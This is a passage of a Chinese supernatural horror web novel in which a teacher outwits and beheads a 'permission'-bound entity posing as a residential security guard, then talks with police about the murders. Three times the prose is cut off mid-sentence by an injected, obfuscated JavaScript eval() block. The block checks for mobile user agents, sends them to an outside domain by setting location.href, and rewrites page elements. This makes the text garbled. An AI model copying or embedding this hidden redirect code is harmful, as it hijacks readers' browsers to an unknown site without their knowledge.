保证不再犯。您看,这楼道里说话也不方便,万一被邻居听到……” 慌乱和急于摆脱困境的心理,让上班族的警惕性降到了最低。他只想快点解决这件事,不要让丑事曝光。 “那……那你进来坐会儿?我们……我们里面说?”上班族几乎是下意识地,解开了防盗门的链条,拉开了门。 “好的,谢谢您的配合。” “保安”脸上的笑容加深了,一脚跨入了上班族的家门。在“保安那只脚”踏入门内的瞬间,上班族似乎感觉到周围的空气凝滞了一瞬,光线也暗了几分,但他只以为是自己的心理作用。 “保安”停留在门口半进不进的样子,入门就是厨房,他看着料理台上的菜刀,语气平淡地说:“先生,您知道吗?有时候,一时的贪念,就像一把悬着的刀,很危险。” 上班族不安地站在他的身前,闻言更加紧张:“是,是,我知道错了……” “光是知道错误还不够,”“保安”另一只脚也踏进大门,直视着他,那双眼睛仿佛两个漩涡,“您需要真正地‘认错’,并且接受相应的……‘惩罚’。” “保安”的语气变得古怪,带着一种不容置疑的压迫感。上班族感到一阵莫名的寒意,他下意识地后退一步,背靠在了冰冷的墙壁上。 “我……我认错!我真心认错!”他几乎是喊出来的。 “您允许了。”“保安”的声音陡然变得冰冷而空洞,“您允许我,对您进行‘惩罚’,让您‘深刻认识到错误’。” 保安的另一只手从背后伸出,手里是一把原本放在保安亭的消防斧。 “什么?!”上班族惊恐地看着消防斧的寒光,用力撞向大门,试图将“保安”拦在门外。 但太迟了,“保安”稳稳地站在门口,即使门已经砸到他的身上,他也没有后退一步。 “先生,是您请我进来的呀。” 上班族想跑,但“保安”死死堵住门口,极致的恐惧,像毒液一样在他血管里奔流,他一扭头,看到了厨房料理台上那把闪着寒光的菜刀。 上班族飞扑过去,将菜刀紧紧攥在手中,在空中挥舞:“你别过来!!我要报警了!!” 菜刀在空中胡乱地挥舞,可无论上班族怎么挥砍,“保安”都能轻松躲过,菜刀好像劈在虚影上,只能直直落在沙发、桌子、墙壁……徒留一道道刀痕。 “保安”提着消防斧,一步步逼近,“认识到错误,愿意接受‘惩罚’,这经过了你的许可。” 无形的力量强迫上班族面对着“保安”,他双膝一软,“噗通”一声跪倒在地。 上班族瞪大了眼睛,眼球因为恐惧而布满血丝,泪水混合着冷汗流淌下来。他想求饶,却被恐惧震慑,发不出声音。 “您看,您已经准备好了。” “保安”举起消防斧,刀锋在灯光下反射出刺眼的光芒,“您允许我进来,允许我‘惩罚’您,现在,您也摆出了忏悔的姿态……一切,都经过了您的‘许可’。” 手起,斧落。 寒光一闪—— 上班族甚至没感觉到疼痛,只看到自己的视野天旋地转,最后定格在自家天花板上那盏廉价的吸顶灯,他的意识陷入永恒的黑暗。 保安将上班族家的门重新关上上,提着消防斧回到了保安亭。 第三天,他又“处罚”了一位高空抛物的业主。 第四天,他履行保安的职责,试图拦住一位进入小区的可疑记者的时候。一位叫季青的业主,却自称是对方的表妹,将那个可疑的记者带了进去。 “保安”冷冷注视着监控中的二人,进去没多久便分开去了不同的方向,根本不是探亲的样子。 他提起消防斧,嘴里念叨着: “要确保安全,不能放进可疑的人,还要解决安全隐患。” 23. 桂溪苑凶杀案(六) 季青猛地从那段恐怖的“旁观”中挣脱出来,心脏狂跳,额头上布满了细密的冷汗。 她明白了,一切都明白了。 这个怪谈,他的核心规则,就是“许可”! 他不能强行闯入,不能随意杀戮,他必须获得“许可”。哪怕是看似无心、甚至带着玩笑性质的“许可”,只要从目标口中说出,并被他接收到,规则就会成立! 脑海中涌入的“真相”记忆潮水般退去,季青猛地从电脑屏幕前抬起头,冷汗几乎浸湿了她的鬓角。 门外,传来了那个怪谈的声音: “季小姐,默许也是一种‘许可’。” “我如果你再不说话,我就当做你默许我替你做决定了……” 此刻,季青飞速地梳理着刚刚看到的画面——保安雨夜遇害、上班族被诱骗开门、高空抛物者被“处罚”…… 门外的怪谈不依不饶:“季小姐,我要开始倒数了,十、九……” 季青紧皱着眉头,努力回想着最关键的细节! 在所有行凶过程中,这个怪谈,始终只以一个身份出现! 雨夜中他是求助的黑衣人,进入保安亭后,他取代了保安。 之后,他穿着保安制服去“处理”偷快递的上班族,全程是“保安”的身份。在处理高空抛物业主时,同样如此。 但在骗季青朝窗户外望去时,他又成为了黑衣人,他从未在同一个场景下,同时以“黑衣人”和“保安”两种形象出现! 这意味着什么? 季青的大脑飞速运转,这个怪谈的杀人规则核心在于“许可”——通过语言或行为上的诱导,让受害者“允许”他进入私人空间,或者“允许”他执行“处罚”。 但或许,这种“身份”的扮演和切换,本身也存在某种限制? 一个大胆的假设在她脑中成形:这个怪谈在同一时间内,只能维持一个“有效身份”! 当他是“黑衣人”时,他无法行使“保安”的权限。当他是“保安”时,就必须遵循“保安”的行为逻辑,不能凭空以“黑衣人”的形态发动袭击。 他需要借助“保安”这个身份带来的信任来接近目标,然后再通过话术诱骗“许可”。 所以,在楼下时,他是“黑衣人”,提着斧头,是纯粹的威胁源。但当他与季青对视,并被季青在猫眼中“看到”其黑衣人形态后,就必须有一个身份的转换过程,才能以“合理”的方式敲响季青的门。 此刻在门外的,依然是那个被季青识破的“假保安”!他无法在维持这个“保安”身份的同时,又变回那个提着斧头的“黑衣人”。 他被自己的规则束缚住了! 那么,突破口就在这里——利用他需要“许可”的规则,以及他可能存在的“身份唯一性”和“身份渴望”! 门外的“保安”不紧不慢地数着:“三、二……” 季青深吸一口气,走到门后。倒数声在她靠近时,诡异地停顿了一下,仿佛门外的存在也感知到了她的接近。 “别数了。”季青的声音透过门板,有一丝模糊,“我不会给你这个权利。” 门外瞬间安静下来。 几秒后,那个模仿保安的、带着点年轻拘谨的声音再次响起,但这一次,似乎多了一丝不易察觉的……兴奋、 毕竟,猎物终于有反应了。 “季小姐,您终于肯回话了。我只是想请您签个字,确认安全,我也好交差……” “交差?”季青打断他,语气带着嘲讽,“交给谁?那个被你扔进望川河的真保安吗?” 门外陷入了死一般的寂静,连空气都仿佛凝固了。季青能想象到,那双贴在猫眼上的眼睛里,会流露出怎样的惊愕? “我不明白您在说什么。”门外的声音试图维持平静,但尾音一丝极细微的颤抖出卖了他。 “不,你明白。”季青斩钉截铁,她必须掌握主动权,“我知道你是什么东西,我知道你需要‘许可’。我知道你杀了真正的保安。我知道你进不了门,不是因为这道薄薄的铁门,而是因为……我没有‘允许’你。” 她一字一顿,清晰地说道:“我,没有,允许你,以任何身份,进入我的家。” “……”门外没有回应,但一种更加阴冷、粘稠的气息似乎正从门缝渗透进来。 季青话锋一转,语气忽然带上了一种奇异的、仿佛洞悉一切的怜悯:“但你很痛苦,对吧?永远在接替别人,永远在寻找下一个‘许可’,永远被困在这个循环里。保安、黑衣人……这些身份都不是你自己的。 “你难道不渴望一个‘固定’的身份,一个可以真正‘属于’你的位置吗?” 季青望向书桌上的《A市夜间安全守则》,缓缓说道: “你无法在白天活动,就连夜间也遵守着和保安的约定,一直留在保安亭保护小区安全,简直毫无自由可言。” 她停顿了一下,留给门外那个存在消化这些话的时间。这是她从怪谈的特性推断出来的——他们往往执着于某种执念,这个实体如此执着于获取“许可”,或许根源就在于他自身身份立场的“缺失”。 “我可以给你一个机会。”季青的声音充满了诱惑力,像一个魔鬼在低语,“一个得到‘合法’身份的机会。一个不再是冒牌货,而是真正被这片空间,被这个‘家’所承认的身份。” “你……什么意思?”门外的声音终于再次响起,带着压抑不住的、扭曲的好奇与渴望。 “很简单。”季青的心脏在胸腔里沉稳地跳动着,“在某个条件下,我能够‘许可’你,成为住在这间房子的人。而我……” 季青的嘴角勾起一抹冰冷的弧度。 这个提议石破天惊!门内外陷入了极致的安静,只剩下季青自己平稳的呼吸声。 她在赌,赌这个怪谈对“固定身份”的渴望超越了立即杀戮的本能,赌他的规则允许这种“身份”的转移,就像他曾经从真保安那里“接管”了保安身份一样! 更重要的是,她在赌这个擅用私刑的怪谈,面对人类的傲慢和对自己规则的自信。 “呵呵……哈哈哈哈哈……”门外,那“保安”的声音先是低笑,随即变成了无法抑制的、扭曲的大笑: “你说……你愿意献出你作为业主的权利?你既然知道真正的保安已经死去,那就应该能猜到你自己的下场!” “对,就像你能预见的一样,”季青冷静地回答,“这是你唯一能‘合法’走进这扇门,真正‘拥有’一个身份的机会。否则,你只能永远留在几平米的保安亭。” 笑声戛然而止。 “你……怎么保证?”门外的声音变得嘶哑,充满了贪婪和警惕。 “我会亲自打开门,亲口说出‘许可’。”季青说道,“这是最直接的‘允许’,不是吗?按照你的规则,一旦我许可了你成为住在这间房子里的人,那么这间房子就会承认你。” “而我将自动失去这个身份,变成……门外人。” 她顿了顿,加重了语气:“还是说,其实你根本无法真正接管一个‘被许可’的身份?” 激将法,对拥有执念的非人存在,也许同样有效。 “害怕?”门外的声音又低声笑起来,“我怎么会害怕一只即将被剥夺一切的小兔子?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16505167|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那就证明给我看。”季青的手,缓缓搭上了冰凉的金属门把手,“我会数三声,在三声之后,我会打开门,说出许可。” “同时,你要确保你的‘消防斧’就在门边,而不是正对着我——那是你‘另一个身份’的象征,不是吗?没有我的许可,这把消防斧无法伤害我!” “‘保安’先生,默许也是一种许可!”季青紧握住门把手缓缓转动,“三……” “……好。” 门外的存在不再沉默,终于给出了回应,声音里带着一种即将得偿所愿的颤栗: “就按你说的做,我,期待你的‘许可’。” 季青能听到门外传来一声轻微的金属触地声,似乎是斧头被放在了门边的地上。 她深吸一口气,重新开始倒数。 “三——” 门外的存在似乎屏住了呼吸。 “二——” 季青的手指微微用力,拧动了门锁,发出清晰的“咔哒”声。 “一!” 话音落下的瞬间,季青猛地向内拉开了防盗门! 门外的景象映入眼帘——那个穿着黑色保安制服的“人”果然站在那里。 他的眼睛依旧直勾勾地盯着门内,但在门完全打开的刹那,那目光中闪过一丝难以置信的狂喜。 在他脚边,那柄沉重的红色消防斧就靠墙立着。 就是现在! 季青用尽全身力气,清晰而快速地大声说道:“我依照你的认可!许可你在此刻,与我交换身份!你将成为住在这间房子里的人!而我——将接管你门外的一切!” 在她话语说完的最后一个字音的刹那,一种无法用言语形容的诡异感觉瞬间笼罩了全场! 仿佛空间的规则被强行改写,某种无形的“标签”被硬生生从季青身上剥离,贴在了门外那个存在身上,而另一个代表着“门外徘徊者”的、冰冷而充满恶意的标签,则烙印向了季青! 门外的“保安”身体猛地一震,脸上那扭曲的笑容瞬间凝固,然后像融化般消失,取而代之的是一种茫然的、仿佛刚刚睡醒的神情,他下意识地向前迈出一步,踏入了房门之内。 而就在他踏入房门、新旧身份交替、规则力量生效的这电光火石的一瞬间—— 在他还沉浸在身份转换的茫然与占据“家”的短暂喜悦中时,季青的手已经牢牢握住了冰冷的斧柄! 然后,季青借助前冲的势头和身体的重量,腰部发力,手臂猛挥—— “呼——” 沉重的消防斧划破空气,带着令人胆寒的呼啸声,狠狠地、精准地——卡在了大门与门框之间的缝隙里! “哐!!” 一声巨响!斧头的金属头部深深嵌入大门和门框,坚固的斧柄像一道铁闸,横亘在门口,断绝了铁门重新关闭的可能! 黑衣人,此刻正站在门内,背对着客厅,他被这声巨响惊动,茫然地回过头。 他看到的是站在门外,双手握着斧柄,眼神冰冷如霜的季青。 季青的气息有些急促,但眼神却锐利得可怕,她盯着门内那个黑衣人,嘴唇缓缓开合: “现在,你是‘门内人’了。” 她顿了顿,一字一句地说道,声音清晰地传入对方耳中: “而我,是那个‘门外人’。” 她的目光扫过被消防斧死死卡住、无法关闭的大门,最终落在那张因为规则扭曲和意识到被欺骗而逐渐变得惊恐、愤怒、进而彻底扭曲的黑衣人的脸上。 然后季青露出一个标志性的温暖微笑,说道: “surprise!” 24. 桂溪苑凶杀案(七) 季青站在门外,隔着被消防斧卡住的门缝,与门内那张因规则扭曲和滔天怒火而剧烈变形的脸对视着。 门内的黑衣人,此刻在规则的认定下,成为了这间屋子的“居住者”,他突然感到了某种源于规则本身的束缚感。 而季青的举动无疑是挑衅,让他感到更加不适。 黑衣人想要出来,将门外那个自以为是的人类撕碎,他试图冲撞大门,却被那卡住的斧头和看不见的屏障阻隔。 某种无形的力量牢牢地禁锢着他,仿佛这间刚刚“获得”的屋子,瞬间变成了最坚固的牢笼。 意识到进入圈套的黑衣人咬牙切齿: “你……骗我!” “骗?”季青微微偏头,脸上依旧是那副让门内黑衣人恨得牙痒痒的温柔微笑: “我履行了承诺,打开了门,亲口许可你成为住在这里的人。规则生效了,不是吗?你现在‘合法地’在我的家里,还有什么不满意?” 她刻意加重了“合法”和“我的家”这两个词,像是在欣赏对方因规则反噬而痛苦的姿态。 “但你没告诉我,住在这里的人没有出去的‘许可’!”黑衣人咆哮着,不停撞击门框,发出震天响的“哐哐”声,却依旧无法越雷池一步。 身份的转换带来了庇护,也带来了限制,作为“住户”,他进入了之前亲手被自己隔绝于外界,成为孤岛的这个“家”。 “交易总有风险。”季青语气淡漠,“就像你诱导那些受害者说出‘许可’时,也从未告知他们真正的代价是生命。” “现在,我们扯平了。” 她向前一步,更清晰地看到门内那双愤怒的眼睛:“而且,你觉得这就是结束吗?” 门内的存在猛地僵住,眼神中透出一丝警惕。 季青继续说道:“如同你之前将我囚禁在这里一样,现在轮到我了,只要这把消防斧代表着我的意志卡在这里,你就永远也得不到‘出来’的许可。” “也许我偶尔还会回来,确认你还‘住’在这里,一天、一周、一个月、一整年、或者更久……时间会一直流逝,而你则会被遗忘,在这个被你自己用神秘力量隔绝的永恒孤岛里腐朽!” 黑衣人失去了耐心,他试图用手把卡在门缝里的消防斧弄走,可由他自己定下的规则却一次次将他弹开。 正如季青所说,那把消防斧在季青开门前说出的“许可”中,已经成为了“门外人”意志的代表—— 这是“另一个身份”的象征。 在黑衣人暴怒的低吼中,季青清晰的声音从门外传来: “当然,还有一种更快的方法可以结束这个局面。” 季青后退一步,双手再次紧紧握住消防斧的斧柄,带着上课时那种循循善诱的语气说道:“规则是相互的,就像你依靠‘许可’行动一样。现在这个僵局,也是一个需要‘许可’才能打破的状态。” “我可以‘许可’结束这场对峙,让你重获自由。”她的话语带着一种刻意的停顿,让希望的火苗在对方心中一闪而过,随即又巧妙地将它引向陷阱。 “但前提是,我们之间的‘因果’必须了结。你试图杀我,这是‘因’。” 她透过门缝,注视着那双充满愤怒与警惕的眼睛,语气变得极具诱导性,仿佛在提出一个最公平不过的交易: 她将毁灭包装成了救赎,将陷阱伪装成了契约。 “只要你亲口‘接受’这个‘了断’,我就立刻‘许可’结束对峙,移开斧头,因果两清,你重获自由。很简单,不是吗?一个口头上的‘接受’,换你立刻离开这个囚笼,否则……” 季青的声音冷了下来,带着不容置疑的决绝:“我们就一起烂在这里,我失去住所,而你在永恒的孤岛中,品尝你自己酿下的苦果。” 门内的黑衣人陷入了死一般的沉默,他感到自己的思绪剧烈地、不稳定地波动着。 他当然怀疑这是一个陷阱,但那个“永恒囚禁”的未来,像冰冷的毒蛇缠绕着他。 相比于在绝对静止中缓慢湮灭,接受与人类和平的了结,似乎并不难以接受,对永恒沉寂的恐惧,最终压倒了一切。 终于,黑衣人极度不情愿地、缓慢地凝聚,从中传出一个嘶哑、低沉,充满了屈辱与无可奈何的声音,仿佛每一个字都在灼烧着他: “……好,我接受这个了断。” 话音落下的瞬间,规则之力轰然降临! 黑衣人突然视线一低,他发现自己的双腿不受控制地朝地面跪去! 规则正在强制执行“了断”的姿态——如同他曾经对那些受害者所做的那样。 一股前所未有的屈辱和惊怒席卷了他,他猛地抬头,想要挣脱这束缚,却只堪堪看到闪着寒光的斧头从门框上被季青缓缓移开。 他的头颅被一股无形的巨力强压下去,视线被迫固定在冰冷的地砖上。 季青的脚步声一步步临近,最后停在黑衣人被限制的视野前方,她的声音居高临下地传来,冷静地陈述着他的罪状: “你制造声响诱骗我看向窗外,以此定位我;劫持我的通讯,切断这间屋子与外界的联系;甚至举起斧头……” “闭嘴!”黑衣人发出一声低吼! 他明白了,彻底明白了!这根本不是和平的了断,这是报复! 他试图调动力量反抗,但被他许可的规则像最坚固的锁链,将他“住户”的身份与“接受了断”的状态牢牢绑定在这个空间里,他无法起身,无法移动,规则正在将他“固定”成待宰的羔羊。 然而,作为依靠规则存在的诡异之物,在意识到死亡临近的最后一刻,他爆发出了本源的力量! 他很清楚,他必须阻止季青说出那个“了断”的真实内涵! 就在季青准备进行死亡宣判之时—— 黑衣人被压低的头颅猛地扬起一个微小的、违反规则束缚的角度,将他所有的恶意与不甘,化作一股无形的力量,试图扭曲这个被他的规则控制的空间! 整间屋子开始在规则的重压下扭曲,季青也被其影响,她的脑中瞬间嗡鸣一片,视野扭曲,手中的消防斧突然变得异常沉重。 黑衣人在试图彻底扭曲这个规则空间,让季青和他一起毁灭在这里! 这反抗短暂却致命,是黑衣人发起的最后、也是最阴险的挣扎! 季青的动作出现了凝滞,就在她的手即将松开消防斧的时候,数点金色的微光突然浮现在客厅—— 源头是她放在桌上的那本,封面写着《A市夜间安全守则》的黑色笔记本,更准确地说,是被季青夹在里面的那个黄色三角形护身符—— 金色的蝴蝶虚影从三角形护身符中涌出,顶开了笔记本,直至在季青身边卷起金色的旋风,抵抗着黑衣人扭曲的规则空间! 一只金色庄周蝶,轻轻停留在斧刃的尖锋之上,压在季青手上沉重的感觉突然消失了! “你的规则,”季青眼神坚毅,声音斩钉截铁,如同利剑劈开所有混乱的低语: “我收到了!” “而我的了断,我的‘报复’——” 她的动作如同翩然飞舞的金色蝴蝶一样轻灵,将被干扰的动作强行矫正,她高高举起了消防斧: “——现在执行!” 寒光撕裂空气,带着一往无前的决绝,精准无误地朝着黑衣人那被规则强行压制、无法闪避的脖颈,悍然劈下! “噗嗤——” 伴随着骨肉撕裂的异响,血液飞溅,却又在半空中消解崩毁,化作灰飞,黑衣人的头颅滚落在地,滚了两圈之后面对着季青。 他的眼睛在最后一刻瞪得巨大,里面充满了被彻底粉碎的阴谋、以及规则被绝对满足后的诡异平静。 随即,头颅和身躯如同倾倒的泥像般迅速溃散、消融,像血液一样化作飞灰,彻底湮灭,扭曲的空间也逐渐恢复正常,连金色的蝶影也悄然消失。 一切归于沉寂。 空荡荡的客厅毫无异样,仿佛刚才那恐怖的存在只是一场幻觉,只有空气中残留的尚未散去的灰点,证明着刚才发生的一切。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511391|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 季青站在客厅,微微喘息着,手中的消防斧斧刃上,一滴浓稠如墨的液体正缓缓滑落,滴在地面,然后也如同蒸发般消失不见。 她松开手,消防斧“哐当”一声掉在地上,她没有立刻去管,而是先谨慎地再次环视了一下屋内,检查有无异常。 确认无误后,她才重新走到门口试图关门。 可惜门框已经被她自己砍坏,现在大门彻底关不上了。季青没有再去管,而是长长地舒了一口气,连续的高强度精神对抗和最后的爆发,让她也感到了一丝疲惫。 她走到书桌旁,将护身符从书里拿起端详,可金色的蝶影已然消失,这个三角形的护身符好像又恢复了普普通通的样子。 季青叹了一口气,收起护身符,走到沙发边坐下,没有开灯,就着窗外透进来的微弱月光,捡起了手机。 怪谈解决了,但工作还没结束。 她先是开机检查了一下手机通讯录,还好,并没有拨打110的通话记录,不用浪费警力,接着季青重新下回了微信开始翻看有没有消息。 也许是期末考已过,工作群非常安静,秦教授也没有给她布置什么新任务,消息列表难得的干净。 不过还是有一个小红点: 常岚:【季老师期末辛苦,早点休息0w0】 已经过去好几个小时了,季青眼眸低垂,微微一笑,手指还是在屏幕上打出了回复: 季老师:【0v0】 白班没有问题,得开始检验夜班工作成果了。 季青熟练点开论坛,金色徽记和弹窗如约而至: 【怪谈信息结算中……】 怪谈名称:言缚者 怪谈状态:已归档 危害等级:B级 探索程度:100% 综合评分:S级 季青扶额,露出一个苦笑,平均一天杀一个人,站在人家门口举着斧子的斩首怪,才B级?这个危害等级到底是按什么定的…… 那经验奖励肯定也不如之前A级的心巢孤儿院多了。 管他呢,蚊子腿也是肉啊,季青继续下翻: 【个人奖励结算】 基础生存奖励:无伤存活(+150经验值) 核心谜题破解:破解许可机制(+75经验值) 支线任务达成:离开被规则孤立的空间(+75经验值) 达成隐藏成就:[以牙还牙]:以许可规则之力终结怪谈本身——这是一种礼尚往来(+30经验值) 个人评分:S级 这次没有跳出升级的弹窗,看样子和普通的电子游戏一样,角色等级越高,所需经验值就越多,一个B级怪谈,已经不足以让季青升级了。 季青脸上难得地出现了失望的表情…… 她的等级还是太低了,连续试了几个想要搜索的内容和用户,都高于她的等级。 连那个庄周蝶的相关档案,居然也显示【等级不足】。 她是不是应该更加积极地去“狩猎”怪谈呢? 这么说起来的话…… 季青点进已归档怪谈分类,找到了这一次的帖子,然后选择了用户:【大江大河向东流】。 没办法,牛马惯了就是这样,这个夜间兼职她也干得如此用心和卖力,完全闲不下来。 这一天季青再次熬到深夜,次日,季青改完当天的卷子,打着哈欠推着小电驴回小区的时候,在保安亭旁看见了三个蹲着的人影。 一个是余子夜,另外两个则是年龄40岁左右,穿着警察制服的男人。 余子夜看见季青,立刻站起来,笑着朝季青挥了挥手,想迎上来,却被旁边一个中年男警察拉住—— 另一个警察则率先走到季青面前,出示了自己的警官证,面色严肃地向季青说道: “警察,季小姐,请你配合我们的工作。” 他顿了顿,抛出一个让季青始料未及的问题: “请问你最后一次见到这个保安亭的夜班保安是什么时候?” 25. 桂溪苑凶杀案(八) 跟着警察到警局等着做笔录的季青,这时候也差不多猜到了事情的来龙去脉。 桂溪苑新来的夜班保安被列为了桂溪苑密室凶杀案的重要嫌疑人,而和这名保安最后有过接触的人,就是余子夜和季青。 前面还有其他目击者做笔录,余子夜和季青在大厅的长椅坐着等,余子夜还殷勤地递上了纸杯: “不好意思啊姐妹,帮了我一把,却麻烦你还要来警局做笔录,耽误你时间了。” 季青接过纸杯,脸上的笑容有些许苦涩,毕竟帮余子夜进小区造成的后果,可不是做笔录这么简单啊—— 她差点被那个怪谈斩首了哎。 不过季青完全没有要怪余子夜的意思,毕竟她一开始也是抱着结交神秘午夜电台的主持人这个目的,才出手帮忙的。 余子夜见季青没有说话,还以为季青有什么顾虑,立马举起手指发誓:“姐妹你放心,带你过来的警察里,有一个是我舅舅,就是我昨天说的老江,他是个非常认真负责的刑警,一定不会为难你,更不会把你当做嫌疑人的。” “待会讲完情况,签完字咱们就可以走了,放心,我从小在这长大的,来这跟回家一样!” 这时,一叠材料“啪”一声轻轻拍在余子夜脑袋顶上,季青回头一看,正是那个“老江”。 老江坐到他们对面,笑着说:“少说这种让人误会的话,不知道的人还以为你是什么不法分子呢。” 接着老江望向季青,露出一个憨厚的笑容:“季小姐你少听她瞎讲,她小时候家里没大人做饭,就经常到这来等我下班,带她回家吃饭。” “江警官。”季青准确无误地叫出了他的姓氏,看到对方眼中一闪而过的惊讶,她解释道,“余记者跟我提过您。” 旁边的余子夜立刻点头如捣蒜,试图增加可信度。 老江点点头,重新站起来,示意季青和他一起到里面的房间做笔录。 一开始做笔录,老江就跟换了一个人一样,原本身上憨厚的气质不见,取而代之的是身为资深刑警的威严和老练。 “季青小姐,我叫江大河,这是我的人民警察证。”变得严肃的目光在季青脸上停留片刻,似乎想找出什么破绽,但最终还是回到了正题:“季小姐,请回答我的问题,你最后一次见到那个夜班保安是什么时候。” 季青微微蹙眉,露出回忆的神色:“最后一次见到夜班保安……就是昨晚我带余子夜进来的时候,他让我们在门口签了访客登记表。” “之后呢?有没有再看到他?或者听到什么异常动静?”江大河追问,目光如炬。 季青摇了摇头,语气平静,陈述着事实:“没有,昨晚回来就觉得小区有点过于安静了,而且……” 她顿了顿,像是有些犹豫,然后才压低声音,带着点不确定说,“江警官,其实我也是第一次见那个保安,听物业说是新来的,我不熟悉这个人。” “毕竟我们业主也不是每个人都认识保安的,谁会关注保安亭里值班的是谁呢,换了人也是不清楚的,对吧?” 季青很清楚,真正的保安已经被杀害,她当然不能告诉警方,密室杀人案的凶手是一个被她解决掉的超自然力量。 但她还是尽量想还真正的好心保安一个清白。 所以她这话说得模棱两可,既提供了“保安不确定是谁”的线索,又给自己留足了余地,完全符合一个察觉异常但又不敢确定的普通市民形象。 江大河的眼神果然变得更加深沉,他若有所思地点点头,没有立刻反驳,只是记录了下来。“感谢你的配合,季小姐。” 流程走得很快,季青的陈述滴水不漏,完美扮演了一个偶然卷入、提供些许线索的热心市民。做完笔录,她还在休息区特意等待余子夜。 余子夜很快也出来,她笑嘻嘻地揽过季青的肩膀,说道:“我说的吧,没啥事,咱们可以走啦。” 季青先是环视四周,确认暂时没有警察,便侧过头,看着身边似乎松了口气的余子夜,忽然用只有两人能听到的音量,轻轻开口,语气平淡却笃定: “余记者,或者说……余小姐?昨天你拿出来的,是假的记者证吧?” 余子夜脸上的笑容瞬间僵住,像只被踩了尾巴的猫,眼睛瞪得溜圆,压低声音惊呼:“我用的可是之前在电视台挂失的记者证……你怎么看出来的?!” 季青端起一次性纸杯喝了口水,没有说话,眼神里带着点看穿一切的了然—— 她总不能告诉余子夜,她是通过那个黑衣人发现的吧? 怪谈的规则是绝对的,既然那个黑衣人认定余子夜是具有安全隐患的可疑人员,那么余子夜的身份就一定问题。 季青在网上查了一下,还真查到了余子夜去年被电视台开除的小道消息。 余子夜顿时蔫了,双手合十,做哀求状:“好表妹,千万别声张!我那不是为了进去找老江嘛……老江他在犯罪现场不知道怎么的,老不接我电话。” “老江他都不知道我其实……” “我不知道什么?”江大河的声音冷不丁从后面传来,吓得余子夜差点从椅子上弹起来。 就在这时,一个熟悉的身影风风火火地闯进了警务大厅,清朗的声音带着显而易见的焦急:“季老师!你没事吧?我收到你消息就赶过来了!” 正是常岚,他今天穿了件简单的白色T恤,外面套着件浅蓝色薄休闲衬衫,头发似乎因为跑得太急而有些凌乱,额角还带着细密的汗珠,那双总是带着笑意的眼睛此刻写满了担忧,精准地锁定在季青身上。 季青看到他,一直紧绷的神经不自觉松弛了几分,她站起身:“我没事,只是配合调查。” 常岚几步走到她面前,上下打量了她一番,确认她完好无损,才长长舒了口气,随即转向江大河,脸上又挂起了那副人畜无害的爽朗笑容:“这位警官您好,我是季老师的朋友,请问季老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517734|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师这边是结束了吗?我可以接她走了吗?” 江大河看着突然出现的常岚,又瞥了一眼明显松了口气的季青和一脸“得救了”的余子夜,叹了口气。 他对季青那番关于“保安可能不是真保安”的暗示很在意,直觉告诉他这几个年轻人,包括那个不省心的小记者,可能知道些什么。 “都这个点了,”江大河看了眼窗外渐暗的天色,语气缓和了些,“折腾你们一下午,我也该下班了,刚好可以送你们回去。” “不着急。”季青突然出声,“我知道附近有家家常菜馆味道不错,我请客,有些事想要和各位聊聊。” 常岚向季青望去,他马上反应过来为什么平时不爱发消息的季青,今天突然跟他说自己要来警局做笔录,特意把他喊来不是为了求助,而更大的可能性其实是…… 江大河非常客气,连声说是自己先麻烦的季青,主动揽下了请客的活,他也有想要问季青的事情。 余子夜自然也是举双手赞成。 菜馆不大,但干净整洁,几样家常小炒上桌,气氛也热络了些。江大河没怎么动筷子,他看着慢条斯理吃着米饭的季青,又看看埋头苦吃的常岚,终于切入了正题。 “季小姐,”江大河的声音低沉下来,“你白天在局里说的那些话,我仔细想了。你是不是……知道些什么?关于那些超出常理的事情?” 季青放下筷子,用餐巾纸擦了擦嘴角,动作从容不迫。她抬眼看向江大河,目光清亮:“江警官,您之前在论坛上发的那个帖子,关于桂溪苑密室凶杀案的调查,我看了。” 刑警江大河,就是那个ID大江大河向东流的用户,季青通过他发布过的几个帖子的内容和互联网上的搜索,确认了这件事。 并且,有个帖子发布的时间和余子夜被开除时间非常相近,估计跟余子夜也有点关系。 江大河拿着茶杯的手猛地一顿,茶水险些洒出来。他瞳孔微缩,紧紧盯着季青:“你果然……” 一旁的余子夜也惊讶地捂住了嘴。 季青继续说道:“现在那个保安被列为重要嫌疑人了是吗?” 江大河点点头:“我们今天排查人员的时候,发现那个保安失踪了,保安亭的监控也被破坏,这几天的记录一概消失,实在非常可疑。” 季青把茶杯推到一边,说道:“就像我刚才说的,我和余子夜看见的不是真正的保安,凶手另有其人,至少,希望江警官还真正的保安一个清白。” 